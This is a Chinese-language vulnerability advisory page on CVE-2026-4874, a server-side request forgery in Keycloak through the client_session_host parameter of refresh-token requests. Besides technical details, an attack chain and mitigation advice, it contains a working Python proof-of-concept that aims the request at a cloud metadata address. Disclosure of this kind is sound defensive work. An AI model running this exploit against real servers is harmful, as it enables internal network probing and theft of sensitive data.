IPBUF安全漏洞报告
English
CVE-2026-4874 CVSS 3.1 低危

CVE-2026-4874 Keycloak服务端请求伪造漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-4874
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
3.1 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Keycloak

相关标签

SSRFKeycloak服务端请求伪造信息泄露认证后漏洞

漏洞概述

Keycloak存在一处安全漏洞,允许经过身份验证的攻击者利用刷新令牌请求中的`client_session_host`参数执行服务端请求伪造(SSRF)。该漏洞触发前提是Keycloak客户端配置了包含`application.session.host`占位符的`backchannel.logout.url`。利用成功后,攻击者可从Keycloak服务器的网络上下文发起HTTP请求,以此探测内部网络或访问内部API,导致信息泄露风险。

技术细节

该漏洞源于Keycloak在处理特定配置时的参数验证逻辑缺陷。当管理员配置了`backchannel.logout.url`并使用了`application.session.host`作为动态占位符时,系统会在处理刷新令牌(Refresh Token)请求时解析该参数。攻击者如果拥有低权限账户,可以构造恶意的刷新令牌请求,将`client_session_host`参数修改为内部网络地址(如http://127.0.0.1:8080或内网API端点)。由于Keycloak服务器会以此参数为目标发起HTTP请求(通常用于后端注销通知),攻击者即可利用这一机制向内网发送探测请求。这种SSRF攻击绕过了网络边界防护,使得原本隔离的内部服务面临信息泄露风险。尽管CVSS评分较低,但在复杂的内网环境中,此漏洞可能作为横向移动的侦察手段。

攻击链分析

STEP 1
侦察
攻击者识别目标使用Keycloak,并确定其客户端配置了包含application.session.host占位符的backchannel.logout.url。
STEP 2
获取凭证
攻击者注册或获取一个低权限的Keycloak账户凭证,完成身份验证以获取有效的Refresh Token。
STEP 3
漏洞利用
攻击者向Keycloak发送刷新令牌请求,并在请求参数中将client_session_host修改为恶意的内网地址(如127.0.0.1)。
STEP 4
内网探测
Keycloak服务器解析请求并向攻击者指定的内网地址发起HTTP连接,攻击者根据响应时间或错误信息判断内网服务状态。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-4874: Keycloak SSRF via client_session_host # This script demonstrates how an authenticated attacker can manipulate the # client_session_host parameter during a refresh token request to trigger an SSRF. import requests # Configuration TARGET_HOST = "https://keycloak.example.com" REALM = "master" CLIENT_ID = "admin-cli" # Attacker's valid refresh token (obtained after login) REFRESH_TOKEN = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." # Internal target to probe (e.g., AWS metadata, internal admin panel) SSRF_PAYLOAD = "http://169.254.169.254/latest/meta-data/" def exploit_ssrf(): url = f"{TARGET_HOST}/realms/{REALM}/protocol/openid-connect/token" headers = { "Content-Type": "application/x-www-form-urlencoded" } # Exploit payload: The vulnerable parameter client_session_host data = { "grant_type": "refresh_token", "client_id": CLIENT_ID, "refresh_token": REFRESH_TOKEN, "client_session_host": SSRF_PAYLOAD # Malicious internal URL } print(f"[*] Sending SSRF request to {url}...") print(f"[*] Targeting internal host: {SSRF_PAYLOAD}") try: response = requests.post(url, headers=headers, data=data, verify=False) if response.status_code == 200: print("[+] Request sent successfully. Check internal logs or response timing for indication of success.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": exploit_ssrf()

影响范围

Keycloak (具体受影响版本请参考官方通告)

防御指南

临时缓解措施
建议立即审计Keycloak客户端配置,移除或替换`backchannel.logout.url`中的`application.session.host`占位符。在无法立即升级的情况下,应限制Keycloak服务器的出站网络访问权限,仅允许必要的IP地址和端口通信,以阻断SSRF攻击路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表